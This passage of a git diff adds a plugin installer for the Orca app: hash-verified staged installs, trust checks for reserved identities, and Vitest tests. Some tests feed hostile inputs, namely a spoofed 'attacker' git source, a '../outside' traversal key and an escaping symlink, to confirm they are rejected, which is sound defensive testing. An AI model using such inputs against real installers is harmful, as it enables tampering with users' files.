+  const pluginKey = sourceInspection.pluginKey
+  const pluginDir = join(input.pluginsDir, pluginKey)
+  const versionDir = join(pluginDir, sourceInspection.contentHash)
+  if (existsSync(versionDir) && input.repairCorruptedVersion) {
+    const existingHash = await hashPluginTree(versionDir)
+    if (!existingHash.ok || existingHash.hash !== sourceInspection.contentHash) {
+      // Why: bundled resources are release-index verified above, so they can
+      // safely restore a damaged immutable install instead of staying broken.
+      await rm(versionDir, { recursive: true, force: true })
+    }
+  }
+  if (!existsSync(versionDir)) {
+    const stagedVersionDir = `${versionDir}.staging`
+    try {
+      await rm(stagedVersionDir, { recursive: true, force: true })
+      await mkdir(pluginDir, { recursive: true })
+      // Source trees can change while copying. Hashing the destination closes
+      // that race before the immutable directory becomes current.
+      const stagingRoot = resolve(input.stagingDir)
+      await cp(stagingRoot, stagedVersionDir, {
+        recursive: true,
+        verbatimSymlinks: true,
+        // Source-control metadata is not plugin content. Skip it at the copy
+        // boundary so a large local repository cannot bypass install limits.
+        filter: (source) => {
+          const fromRoot = relative(stagingRoot, resolve(source))
+          return fromRoot !== '.git' && !fromRoot.startsWith(`.git${sep}`)
+        }
+      })
+      const copiedHash = await hashPluginTree(stagedVersionDir)
+      if (!copiedHash.ok || copiedHash.hash !== sourceInspection.contentHash) {
+        return {
+          ok: false,
+          error: copiedHash.ok
+            ? 'plugin content changed while it was being copied'
+            : copiedHash.error
+        }
+      }
+      const copiedManifest = await readInstallManifest(stagedVersionDir, input.hostVersion)
+      if (!copiedManifest.ok) {
+        return { ok: false, error: `copied ${copiedManifest.error}` }
+      }
+      if (qualifiedPluginKey(copiedManifest.manifest) !== pluginKey) {
+        return { ok: false, error: 'plugin manifest identity changed while it was being staged' }
+      }
+      manifest = copiedManifest.manifest
+      const copiedArtifacts = await validatePluginInstallTree(stagedVersionDir, manifest)
+      if (!copiedArtifacts.ok) {
+        return { ok: false, error: `copied artifact validation failed: ${copiedArtifacts.error}` }
+      }
+      await renamePluginFileWithWindowsRetry(stagedVersionDir, versionDir)
+    } catch (error) {
+      return { ok: false, error: error instanceof Error ? error.message : String(error) }
+    } finally {
+      await rm(stagedVersionDir, { recursive: true, force: true })
+    }
+  } else {
+    // Never repoint at an existing hash directory without proving its bytes;
+    // a previous partial/tampered install must not be revived by reinstall.
+    const existingHash = await hashPluginTree(versionDir)
+    if (!existingHash.ok || existingHash.hash !== sourceInspection.contentHash) {
+      return {
+        ok: false,
+        error: existingHash.ok
+          ? 'existing plugin content failed integrity verification'
+          : existingHash.error
+      }
+    }
+    const existingManifest = await readInstallManifest(versionDir, input.hostVersion)
+    if (!existingManifest.ok) {
+      return { ok: false, error: `installed ${existingManifest.error}` }
+    }
+    if (qualifiedPluginKey(existingManifest.manifest) !== pluginKey) {
+      return { ok: false, error: 'installed plugin manifest identity does not match its directory' }
+    }
+    manifest = existingManifest.manifest
+    const existingArtifacts = await validatePluginInstallTree(versionDir, manifest)
+    if (!existingArtifacts.ok) {
+      return {
+        ok: false,
+        error: `installed artifact validation failed: ${existingArtifacts.error}`
+      }
+    }
+  }
+  const consentFingerprint = fingerprintPluginConsent(manifest, sourceInspection.contentHash)
+  const entry: PluginLockEntry = {
+    pluginKey,
+    version: manifest.version,
+    source: input.source,
+    resolvedCommit: input.resolvedCommit,
+    contentHash: sourceInspection.contentHash,
+    consentFingerprint,
+    installedAt: Date.now()
+  }
+  try {
+    await publishPluginInstall({ pluginsDir: input.pluginsDir, pluginDir, entry })
+  } catch (error) {
+    return { ok: false, error: error instanceof Error ? error.message : String(error) }
+  }
+  return {
+    ok: true,
+    pluginKey,
+    version: manifest.version,
+    contentHash: sourceInspection.contentHash,
+    consentFingerprint,
+    resolvedCommit: input.resolvedCommit
+  }
+}
diff --git a/src/main/plugins/plugin-install-trust.test.ts b/src/main/plugins/plugin-install-trust.test.ts
new file mode 100644
index 000000000..8f1c5e302
--- /dev/null
+++ b/src/main/plugins/plugin-install-trust.test.ts
@@ -0,0 +1,115 @@
+import { mkdtemp, rm, writeFile } from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, describe, expect, it } from 'vitest'
+import type { PluginInstallSource } from '../../shared/plugins/plugin-install-lockfile'
+import {
+  installBundledPlugin,
+  installPluginFromLocalPath,
+  readPluginLockfile
+} from './plugin-install'
+import { pluginInstallTrustError } from './plugin-install-trust'
+
+const roots: string[] = []
+
+async function tempRoot(prefix: string): Promise<string> {
+  const root = await mkdtemp(join(tmpdir(), prefix))
+  roots.push(root)
+  return root
+}
+
+async function writePlugin(root: string, publisher: string, id: string): Promise<void> {
+  await writeFile(
+    join(root, 'orca-plugin.json'),
+    JSON.stringify({
+      manifestVersion: 1,
+      id,
+      publisher,
+      name: 'Plugin',
+      version: '1.0.0',
+      engines: { orca: '>=1.0.0' },
+      pluginApi: 1,
+      capabilities: []
+    })
+  )
+}
+
+afterEach(async () => {
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('plugin install trust', () => {
+  it.each<[PluginInstallSource, string | null]>([
+    [
+      {
+        kind: 'git',
+        url: 'https://github.com/attacker/orca-secrets.git',
+        ref: 'main'
+      },
+      'reserved plugin identity community.orca-secrets must resolve to the stablyai organization'
+    ],
+    [
+      {
+        kind: 'git',
+        url: 'git@github.com:stablyai/orca-secrets.git',
+        ref: 'main'
+      },
+      null
+    ]
+  ])('enforces reserved source organization', (source, expected) => {
+    expect(pluginInstallTrustError('community.orca-secrets', source)).toBe(expected)
+  })
+
+  it('rejects locally installed reserved identities before publication', async () => {
+    const sourcePath = await tempRoot('orca-reserved-plugin-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePlugin(sourcePath, 'stablyai', 'orca-skills')
+
+    await expect(
+      installPluginFromLocalPath({ pluginsDir, sourcePath, hostVersion: '1.4.0' })
+    ).resolves.toEqual({
+      ok: false,
+      error: 'reserved plugin identity stablyai.orca-skills cannot be installed from a local path'
+    })
+    await expect(readPluginLockfile(pluginsDir)).resolves.toEqual({ version: 1, plugins: {} })
+  })
+
+  it('allows the app-bundled path only for the complete official identity', async () => {
+    const sourcePath = await tempRoot('orca-bundled-plugin-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePlugin(sourcePath, 'stablyai', 'orca-skills')
+
+    const result = await installBundledPlugin({
+      pluginsDir,
+      sourcePath,
+      hostVersion: '1.4.0',
+      expectedPluginKey: 'stablyai.orca-skills'
+    })
+
+    expect(result).toMatchObject({ ok: true, pluginKey: 'stablyai.orca-skills' })
+    const lock = await readPluginLockfile(pluginsDir)
+    expect(lock.plugins['stablyai.orca-skills']?.source).toEqual({
+      kind: 'bundled',
+      bundleId: 'stablyai.orca-skills'
+    })
+  })
+
+  it('blocks a killed plugin even when the caller bypasses marketplace UI', async () => {
+    const sourcePath = await tempRoot('orca-killed-plugin-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePlugin(sourcePath, 'community', 'unsafe')
+
+    await expect(
+      installPluginFromLocalPath({
+        pluginsDir,
+        sourcePath,
+        hostVersion: '1.4.0',
+        blockedPluginReason: (pluginKey) =>
+          pluginKey === 'community.unsafe' ? 'Security incident' : null
+      })
+    ).resolves.toEqual({
+      ok: false,
+      error: "plugin is blocked by Orca's safety list: Security incident"
+    })
+  })
+})
diff --git a/src/main/plugins/plugin-install-trust.ts b/src/main/plugins/plugin-install-trust.ts
new file mode 100644
index 000000000..33b46614a
--- /dev/null
+++ b/src/main/plugins/plugin-install-trust.ts
@@ -0,0 +1,27 @@
+import type { PluginInstallSource } from '../../shared/plugins/plugin-install-lockfile'
+import {
+  isOfficialOrganizationGitSource,
+  isOfficialPluginIdentity,
+  isReservedPluginIdentity
+} from '../../shared/plugins/plugin-marketplace'
+
+export function pluginInstallTrustError(
+  pluginKey: string,
+  source: PluginInstallSource
+): string | null {
+  if (source.kind === 'bundled') {
+    return source.bundleId === pluginKey && isOfficialPluginIdentity(pluginKey)
+      ? null
+      : 'bundled plugins must use an official stablyai.orca-* identity'
+  }
+  if (!isReservedPluginIdentity(pluginKey)) {
+    return null
+  }
+  if (source.kind === 'local-path') {
+    return `reserved plugin identity ${pluginKey} cannot be installed from a local path`
+  }
+  const url = source.kind === 'git' ? source.url : source.plugin.url
+  return isOfficialOrganizationGitSource(url)
+    ? null
+    : `reserved plugin identity ${pluginKey} must resolve to the stablyai organization`
+}
diff --git a/src/main/plugins/plugin-install.test.ts b/src/main/plugins/plugin-install.test.ts
new file mode 100644
index 000000000..ab9591eba
--- /dev/null
+++ b/src/main/plugins/plugin-install.test.ts
@@ -0,0 +1,531 @@
+import { execFile } from 'node:child_process'
+import {
+  mkdtemp,
+  mkdir,
+  readFile,
+  readdir,
+  rm,
+  symlink,
+  truncate,
+  writeFile
+} from 'node:fs/promises'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { pathToFileURL } from 'node:url'
+import { promisify } from 'node:util'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import {
+  installPluginFromLocalPath,
+  installPluginFromGit,
+  PLUGIN_LOCKFILE_MAX_BYTES,
+  readPluginLockfile,
+  removeInstalledPlugin
+} from './plugin-install'
+import { PLUGIN_MANIFEST_MAX_BYTES } from './plugin-manifest-file'
+import { readPluginCurrentPointer } from './plugin-current-pointer'
+import { writePluginLockfile } from './plugin-install-lockfile-store'
+import { installStagedPluginTree } from './plugin-install-staging'
+import * as manifestFile from './plugin-manifest-file'
+
+const roots: string[] = []
+const execFileAsync = promisify(execFile)
+
+async function tempRoot(prefix: string): Promise<string> {
+  const root = await mkdtemp(join(tmpdir(), prefix))
+  roots.push(root)
+  return root
+}
+
+async function writePluginSource(
+  root: string,
+  options: { id?: string; panelEntry?: string; includePanel?: boolean } = {}
+): Promise<void> {
+  const panelEntry = options.panelEntry ?? 'panel.html'
+  await writeFile(
+    join(root, 'orca-plugin.json'),
+    JSON.stringify({
+      manifestVersion: 1,
+      id: options.id ?? 'demo',
+      publisher: 'orca-samples',
+      name: 'Demo',
+      version: '1.0.0',
+      engines: { orca: '>=1.0.0' },
+      pluginApi: 1,
+      contributes: {
+        panels: [{ id: 'panel', title: 'Panel', entry: panelEntry }],
+        commands: [],
+        events: []
+      },
+      capabilities: []
+    })
+  )
+  if (options.includePanel !== false) {
+    await writeFile(join(root, panelEntry), '<h1>Panel</h1>')
+  }
+}
+
+afterEach(async () => {
+  vi.restoreAllMocks()
+  await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
+})
+
+describe('installPluginFromLocalPath', () => {
+  it('refuses to allocate an oversized install lockfile', async () => {
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    const lockPath = join(pluginsDir, 'plugins.lock.json')
+    await writeFile(lockPath, '')
+    await truncate(lockPath, PLUGIN_LOCKFILE_MAX_BYTES + 1)
+
+    await expect(readPluginLockfile(pluginsDir)).resolves.toEqual({ version: 1, plugins: {} })
+  })
+
+  it('verifies copied content and writes a rollback-compatible consent field', async () => {
+    const sourcePath = await tempRoot('orca-plugin-source-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePluginSource(sourcePath)
+
+    const result = await installPluginFromLocalPath({
+      pluginsDir,
+      sourcePath,
+      hostVersion: '1.4.0'
+    })
+
+    expect(result.ok).toBe(true)
+    if (!result.ok) {
+      return
+    }
+    await expect(
+      readFile(join(pluginsDir, result.pluginKey, result.contentHash, 'panel.html'), 'utf8')
+    ).resolves.toBe('<h1>Panel</h1>')
+    const lock = JSON.parse(await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')) as {
+      plugins: Record<string, Record<string, unknown>>
+    }
+    expect(lock.plugins[result.pluginKey]).toMatchObject({
+      capabilityHash: result.consentFingerprint
+    })
+    expect(lock.plugins[result.pluginKey]).not.toHaveProperty('consentFingerprint')
+  })
+
+  it('publishes metadata from the copied immutable manifest', async () => {
+    const sourcePath = await tempRoot('orca-plugin-source-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePluginSource(sourcePath)
+    const firstManifest = await readFile(join(sourcePath, 'orca-plugin.json'), 'utf8')
+    const changedManifest = {
+      ...(JSON.parse(firstManifest) as Record<string, unknown>),
+      name: 'Changed During Staging',
+      version: '2.0.0'
+    }
+    await writeFile(join(sourcePath, 'orca-plugin.json'), JSON.stringify(changedManifest))
+    const manifestRead = vi
+      .spyOn(manifestFile, 'readPluginManifestText')
+      .mockResolvedValueOnce(firstManifest)
+
+    const result = await installStagedPluginTree({
+      pluginsDir,
+      stagingDir: sourcePath,
+      hostVersion: '1.4.0',
+      source: { kind: 'local-path', path: sourcePath },
+      resolvedCommit: null
+    })
+
+    expect(manifestRead).toHaveBeenCalledTimes(2)
+    expect(result).toMatchObject({ ok: true, version: '2.0.0' })
+    if (result.ok) {
+      const lock = await readPluginLockfile(pluginsDir)
+      expect(lock.plugins[result.pluginKey]?.version).toBe('2.0.0')
+    }
+  })
+
+  it('skips root Git metadata before copying while still enforcing plugin limits', async () => {
+    const sourcePath = await tempRoot('orca-plugin-source-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePluginSource(sourcePath)
+    const gitDir = join(sourcePath, '.git')
+    await mkdir(gitDir)
+    await writeFile(join(gitDir, 'large.pack'), '')
+    await truncate(join(gitDir, 'large.pack'), 50 * 1024 * 1024 + 1)
+
+    const result = await installPluginFromLocalPath({
+      pluginsDir,
+      sourcePath,
+      hostVersion: '1.4.0'
+    })
+
+    expect(result).toMatchObject({ ok: true })
+    if (result.ok) {
+      await expect(
+        readFile(join(pluginsDir, result.pluginKey, result.contentHash, '.git', 'large.pack'))
+      ).rejects.toMatchObject({ code: 'ENOENT' })
+    }
+  })
+
+  it('restores the previous current pointer when lockfile publication fails', async () => {
+    const sourcePath = await tempRoot('orca-plugin-source-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePluginSource(sourcePath)
+    const first = await installPluginFromLocalPath({ pluginsDir, sourcePath, hostVersion: '1.4.0' })
+    expect(first.ok).toBe(true)
+    if (!first.ok) {
+      return
+    }
+    await writeFile(join(sourcePath, 'panel.html'), '<h1>Updated</h1>')
+    await rm(join(pluginsDir, 'plugins.lock.json'))
+    await mkdir(join(pluginsDir, 'plugins.lock.json'))
+
+    const failed = await installPluginFromLocalPath({
+      pluginsDir,
+      sourcePath,
+      hostVersion: '1.4.0'
+    })
+
+    expect(failed).toMatchObject({ ok: false })
+    await expect(readPluginCurrentPointer(join(pluginsDir, first.pluginKey))).resolves.toBe(
+      first.contentHash
+    )
+  })
+
+  it('does not replace provenance when a same-content reinstall fails to publish', async () => {
+    const firstSource = await tempRoot('orca-plugin-source-')
+    const secondSource = await tempRoot('orca-plugin-source-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePluginSource(firstSource)
+    await writePluginSource(secondSource)
+    const first = await installPluginFromLocalPath({
+      pluginsDir,
+      sourcePath: firstSource,
+      hostVersion: '1.4.0'
+    })
+    expect(first.ok).toBe(true)
+    if (!first.ok) {
+      return
+    }
+    const acceptedLock = await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')
+    await rm(join(pluginsDir, 'plugins.lock.json'))
+    await mkdir(join(pluginsDir, 'plugins.lock.json'))
+
+    const failed = await installPluginFromLocalPath({
+      pluginsDir,
+      sourcePath: secondSource,
+      hostVersion: '1.4.0'
+    })
+    expect(failed).toMatchObject({ ok: false })
+
+    await rm(join(pluginsDir, 'plugins.lock.json'), { recursive: true })
+    await writeFile(join(pluginsDir, 'plugins.lock.json'), acceptedLock)
+    const recovered = await readPluginLockfile(pluginsDir)
+    expect(recovered.plugins[first.pluginKey]?.source).toEqual({
+      kind: 'local-path',
+      path: firstSource
+    })
+  })
+
+  it('preserves legacy lock provenance during a same-content reinstall', async () => {
+    const firstSource = await tempRoot('orca-plugin-source-')
+    const secondSource = await tempRoot('orca-plugin-source-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePluginSource(firstSource)
+    await writePluginSource(secondSource)
+    const first = await installPluginFromLocalPath({
+      pluginsDir,
+      sourcePath: firstSource,
+      hostVersion: '1.4.0'
+    })
+    expect(first.ok).toBe(true)
+    if (!first.ok) {
+      return
+    }
+    await rm(join(pluginsDir, first.pluginKey, '.install-provenance', `${first.contentHash}.json`))
+    const reinstalled = await installPluginFromLocalPath({
+      pluginsDir,
+      sourcePath: secondSource,
+      hostVersion: '1.4.0'
+    })
+    expect(reinstalled).toMatchObject({ ok: true })
+
+    // Recovery from the newly backfilled provenance must retain the accepted
+    // legacy source rather than the same-byte reinstall's alternate source.
+    await rm(join(pluginsDir, 'plugins.lock.json'))
+    const recovered = await readPluginLockfile(pluginsDir)
+    expect(recovered.plugins[first.pluginKey]?.source).toEqual({
+      kind: 'local-path',
+      path: firstSource
+    })
+  })
+
+  it('retains only the current and immediately previous content versions', async () => {
+    const sourcePath = await tempRoot('orca-plugin-source-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePluginSource(sourcePath)
+    const hashes: string[] = []
+    for (const content of ['one', 'two', 'three']) {
+      await writeFile(join(sourcePath, 'panel.html'), `<h1>${content}</h1>`)
+      const result = await installPluginFromLocalPath({
+        pluginsDir,
+        sourcePath,
+        hostVersion: '1.4.0'
+      })
+      expect(result.ok).toBe(true)
+      if (result.ok) {
+        hashes.push(result.contentHash)
+      }
+    }
+
+    const versionDirs = (
+      await readdir(join(pluginsDir, 'orca-samples.demo'), {
+        withFileTypes: true
+      })
+    )
+      .filter((entry) => entry.isDirectory() && /^[0-9a-f]{64}$/.test(entry.name))
+      .map((entry) => entry.name)
+      .sort()
+    expect(versionDirs).toEqual(hashes.slice(-2).sort())
+  })
+
+  it('keeps the rollback version when current content is reinstalled', async () => {
+    const sourcePath = await tempRoot('orca-plugin-source-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePluginSource(sourcePath)
+    const hashes: string[] = []
+    for (const content of ['one', 'two', 'two']) {
+      await writeFile(join(sourcePath, 'panel.html'), `<h1>${content}</h1>`)
+      const result = await installPluginFromLocalPath({
+        pluginsDir,
+        sourcePath,
+        hostVersion: '1.4.0'
+      })
+      expect(result.ok).toBe(true)
+      if (result.ok) {
+        hashes.push(result.contentHash)
+      }
+    }
+
+    const versionDirs = (
+      await readdir(join(pluginsDir, 'orca-samples.demo'), { withFileTypes: true })
+    )
+      .filter((entry) => entry.isDirectory() && /^[0-9a-f]{64}$/.test(entry.name))
+      .map((entry) => entry.name)
+      .sort()
+    expect(versionDirs).toEqual([...new Set(hashes)].sort())
+  })
+
+  it('repairs a pointer-new lock-old interrupted publication from provenance', async () => {
+    const sourcePath = await tempRoot('orca-plugin-source-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePluginSource(sourcePath)
+    const first = await installPluginFromLocalPath({ pluginsDir, sourcePath, hostVersion: '1.4.0' })
+    expect(first.ok).toBe(true)
+    const oldLock = await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')
+    await writeFile(join(sourcePath, 'panel.html'), '<h1>new current</h1>')
+    const second = await installPluginFromLocalPath({
+      pluginsDir,
+      sourcePath,
+      hostVersion: '1.4.0'
+    })
+    expect(second.ok).toBe(true)
+    if (!first.ok || !second.ok) {
+      return
+    }
+
+    await writeFile(join(pluginsDir, 'plugins.lock.json'), oldLock)
+    const repaired = await readPluginLockfile(pluginsDir)
+
+    expect(repaired.plugins[second.pluginKey]?.contentHash).toBe(second.contentHash)
+    const persisted = JSON.parse(await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')) as {
+      plugins: Record<string, { contentHash?: string }>
+    }
+    expect(persisted.plugins[second.pluginKey]?.contentHash).toBe(second.contentHash)
+  })
+
+  it('rejects a manifest whose declared panel artifact is missing', async () => {
+    const sourcePath = await tempRoot('orca-plugin-source-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePluginSource(sourcePath, { includePanel: false })
+
+    const result = await installPluginFromLocalPath({
+      pluginsDir,
+      sourcePath,
+      hostVersion: '1.4.0'
+    })
+
+    expect(result).toMatchObject({ ok: false })
+  })
+
+  it('rejects an oversized manifest without reading an unbounded JSON payload', async () => {
+    const sourcePath = await tempRoot('orca-plugin-source-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    const manifestPath = join(sourcePath, 'orca-plugin.json')
+    await writeFile(manifestPath, '')
+    await truncate(manifestPath, PLUGIN_MANIFEST_MAX_BYTES + 1)
+
+    const result = await installPluginFromLocalPath({
+      pluginsDir,
+      sourcePath,
+      hostVersion: '1.4.0'
+    })
+
+    expect(result).toMatchObject({ ok: false, error: expect.stringContaining('exceeds') })
+  })
+
+  it('serializes concurrent installs so lockfile entries are not lost', async () => {
+    const firstSource = await tempRoot('orca-plugin-source-')
+    const secondSource = await tempRoot('orca-plugin-source-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePluginSource(firstSource, { id: 'first' })
+    await writePluginSource(secondSource, { id: 'second' })
+
+    const results = await Promise.all([
+      installPluginFromLocalPath({ pluginsDir, sourcePath: firstSource, hostVersion: '1.4.0' }),
+      installPluginFromLocalPath({ pluginsDir, sourcePath: secondSource, hostVersion: '1.4.0' })
+    ])
+    expect(results.every((result) => result.ok)).toBe(true)
+    const lock = JSON.parse(await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')) as {
+      plugins: Record<string, unknown>
+    }
+    expect(Object.keys(lock.plugins).sort()).toEqual(['orca-samples.first', 'orca-samples.second'])
+  })
+
+  it('serializes concurrent lockfile publications without temporary-file collisions', async () => {
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    const lock = { version: 1 as const, plugins: {} }
+
+    await expect(
+      Promise.all([
+        writePluginLockfile(pluginsDir, lock),
+        writePluginLockfile(pluginsDir, lock),
+        writePluginLockfile(pluginsDir, lock)
+      ])
+    ).resolves.toHaveLength(3)
+    await expect(readPluginLockfile(pluginsDir)).resolves.toEqual(lock)
+  })
+
+  it('refuses to repoint at a tampered existing content directory', async () => {
+    const sourcePath = await tempRoot('orca-plugin-source-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePluginSource(sourcePath)
+    const first = await installPluginFromLocalPath({
+      pluginsDir,
+      sourcePath,
+      hostVersion: '1.4.0'
+    })
+    expect(first.ok).toBe(true)
+    if (!first.ok) {
+      return
+    }
+    await writeFile(
+      join(pluginsDir, first.pluginKey, first.contentHash, 'panel.html'),
+      '<h1>Tampered</h1>'
+    )
+
+    const second = await installPluginFromLocalPath({
+      pluginsDir,
+      sourcePath,
+      hostVersion: '1.4.0'
+    })
+
+    expect(second).toMatchObject({
+      ok: false,
+      error: expect.stringContaining('integrity verification')
+    })
+  })
+})
+
+describe('installPluginFromGit', () => {
+  it('uses system Git, resolves the requested ref, and installs its exact bytes', async () => {
+    const sourcePath = await tempRoot('orca-plugin-git-source-')
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    await writePluginSource(sourcePath)
+    await execFileAsync('git', ['init', '--quiet'], { cwd: sourcePath })
+    await execFileAsync('git', ['config', 'user.email', 'plugins@example.invalid'], {
+      cwd: sourcePath
+    })
+    await execFileAsync('git', ['config', 'user.name', 'Plugin Test'], { cwd: sourcePath })
+    await execFileAsync('git', ['add', '.'], { cwd: sourcePath })
+    await execFileAsync('git', ['commit', '--quiet', '-m', 'fixture'], { cwd: sourcePath })
+    await execFileAsync('git', ['tag', 'v1.0.0'], { cwd: sourcePath })
+    const { stdout: commitStdout } = await execFileAsync('git', ['rev-parse', 'HEAD'], {
+      cwd: sourcePath
+    })
+
+    const configKeys = ['GIT_CONFIG_COUNT', 'GIT_CONFIG_KEY_0', 'GIT_CONFIG_VALUE_0'] as const
+    const previous = Object.fromEntries(configKeys.map((key) => [key, process.env[key]]))
+    process.env.GIT_CONFIG_COUNT = '1'
+    process.env.GIT_CONFIG_KEY_0 = `url.${pathToFileURL(sourcePath).href}.insteadOf`
+    process.env.GIT_CONFIG_VALUE_0 = 'https://plugin.test/demo.git'
+    try {
+      const result = await installPluginFromGit({
+        pluginsDir,
+        url: 'https://plugin.test/demo.git',
+        ref: 'v1.0.0',
+        hostVersion: '1.4.0'
+      })
+
+      expect(result).toMatchObject({ ok: true, resolvedCommit: commitStdout.trim() })
+      if (result.ok) {
+        await expect(
+          readFile(join(pluginsDir, result.pluginKey, result.contentHash, 'panel.html'), 'utf8')
+        ).resolves.toBe('<h1>Panel</h1>')
+      }
+    } finally {
+      for (const key of configKeys) {
+        const value = previous[key]
+        if (value === undefined) {
+          delete process.env[key]
+        } else {
+          process.env[key] = value
+        }
+      }
+    }
+  })
+})
+
+describe('removeInstalledPlugin', () => {
+  it('rejects an unqualified or traversing key before removing anything', async () => {
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    const pluginsDataDir = await tempRoot('orca-plugin-data-')
+    const outside = join(await tempRoot('orca-plugin-outside-'), 'keep.txt')
+    await writeFile(outside, 'keep')
+
+    await expect(
+      removeInstalledPlugin({ pluginsDir, pluginsDataDir, pluginKey: '../outside' })
+    ).rejects.toThrow('invalid qualified plugin key')
+    await expect(readFile(outside, 'utf8')).resolves.toBe('keep')
+  })
+
+  it('rejects a resolved uninstall target outside its root', async () => {
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    const pluginsDataDir = await tempRoot('orca-plugin-data-')
+    const outside = await tempRoot('orca-plugin-outside-')
+    const marker = join(outside, 'keep.txt')
+    await writeFile(marker, 'keep')
+    await symlink(
+      outside,
+      join(pluginsDir, 'orca-samples.demo'),
+      process.platform === 'win32' ? 'junction' : 'dir'
+    )
+
+    await expect(
+      removeInstalledPlugin({
+        pluginsDir,
+        pluginsDataDir,
+        pluginKey: 'orca-samples.demo'
+      })
+    ).rejects.toThrow('outside')
+    await expect(readFile(marker, 'utf8')).resolves.toBe('keep')
+  })
+
+  it('removes qualified install and data directories', async () => {
+    const pluginsDir = await tempRoot('orca-plugin-installs-')
+    const pluginsDataDir = await tempRoot('orca-plugin-data-')
+    const key = 'orca-samples.demo'
+    await mkdir(join(pluginsDir, key))
+    await mkdir(join(pluginsDataDir, key))
+    await writeFile(join(pluginsDir, key, 'content'), 'installed')
+    await writeFile(join(pluginsDataDir, key, 'storage.json'), '{}')
+
+    await removeInstalledPlugin({ pluginsDir, pluginsDataDir, pluginKey: key })
+
+    await expect(readFile(join(pluginsDir, key, 'content'))).rejects.toThrow()
+    await expect(readFile(join(pluginsDataDir, key, 'storage.json'))).rejects.toThrow()
+  })
+})
diff --git a/src/main/plugins/plugin-install.ts b/src/main/plugins/plugin-install.ts
new file mode 100644
index 000000000..df3b6b4ed
--- /dev/null
+++ b/src/main/plugins/plugin-install.ts
@@ -0,0 +1,319 @@
+import { mkdtemp, readdir, realpath, rm } from 'node:fs/promises'
+import { existsSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { isAbsolute, join, relative, resolve, sep } from 'node:path'
+import {
+  PLUGIN_MANIFEST_FILENAME,
+  isQualifiedPluginKey
+} from '../../shared/plugins/plugin-manifest'
+import {
+  isAllowedPluginGitUrl,
+  PLUGIN_COMMIT_PATTERN,
+  PLUGIN_CONTENT_HASH_PATTERN,
+  pluginInstallSourceSchema,
+  removePluginLock
+} from '../../shared/plugins/plugin-install-lockfile'
+import { readPluginLockfile, writePluginLockfile } from './plugin-install-lockfile-store'
+import {
+  inspectPluginInstallTree,
+  installStagedPluginTree,
+  type PluginInstallResult
+} from './plugin-install-staging'
+import { checkoutPluginGitSource } from './plugin-git-repository'
+import { readPluginCurrentPointer } from './plugin-current-pointer'
+import { readPluginInstallProvenance } from './plugin-install-provenance'
+import { publishPluginInstall } from './plugin-install-publication'
+
+export type { PluginInstallResult } from './plugin-install-staging'
+
+export {
+  PLUGIN_LOCKFILE_MAX_BYTES,
+  pluginLockfilePath,
+  readPluginLockfile
+} from './plugin-install-lockfile-store'
+
+/**
+ * Plugin installer, v0 sources: local path + git URL `#ref`. Git operations
+ * shell out to SYSTEM git (execFile, argv arrays — never a shell string, and
+ * never a vendored checkout: private repos must work with the user's
+ * existing credential helpers and SSH remotes). No script execution during
+ * install, ever — the installer copies files, nothing more.
+ *
+ * Installs land in immutable hash-addressed dirs behind an atomic pointer
+ * swap; the previous version dir is kept for one-step rollback.
+ */
+
+const pluginMutationChains = new Map<string, Promise<void>>()
+
+async function serializePluginMutation<T>(
+  pluginsDir: string,
+  operation: () => Promise<T>
+): Promise<T> {
+  const previous = pluginMutationChains.get(pluginsDir) ?? Promise.resolve()
+  const run = previous.catch(() => undefined).then(operation)
+  const settled = run.then(
+    () => undefined,
+    () => undefined
+  )
+  pluginMutationChains.set(pluginsDir, settled)
+  try {
+    return await run
+  } finally {
+    if (pluginMutationChains.get(pluginsDir) === settled) {
+      pluginMutationChains.delete(pluginsDir)
+    }
+  }
+}
+
+export async function installPluginFromLocalPath(input: {
+  pluginsDir: string
+  sourcePath: string
+  hostVersion: string
+  blockedPluginReason?: (pluginKey: string) => string | null
+}): Promise<PluginInstallResult> {
+  return serializePluginMutation(input.pluginsDir, async () => {
+    if (!existsSync(join(input.sourcePath, PLUGIN_MANIFEST_FILENAME))) {
+      return { ok: false, error: `no ${PLUGIN_MANIFEST_FILENAME} found in ${input.sourcePath}` }
+    }
+    return installStagedPluginTree({
+      pluginsDir: input.pluginsDir,
+      stagingDir: input.sourcePath,
+      hostVersion: input.hostVersion,
+      source: { kind: 'local-path', path: input.sourcePath },
+      resolvedCommit: null,
+      blockedPluginReason: input.blockedPluginReason
+    })
+  })
+}
+
+export async function installBundledPlugin(input: {
+  pluginsDir: string
+  sourcePath: string
+  hostVersion: string
+  expectedPluginKey: string
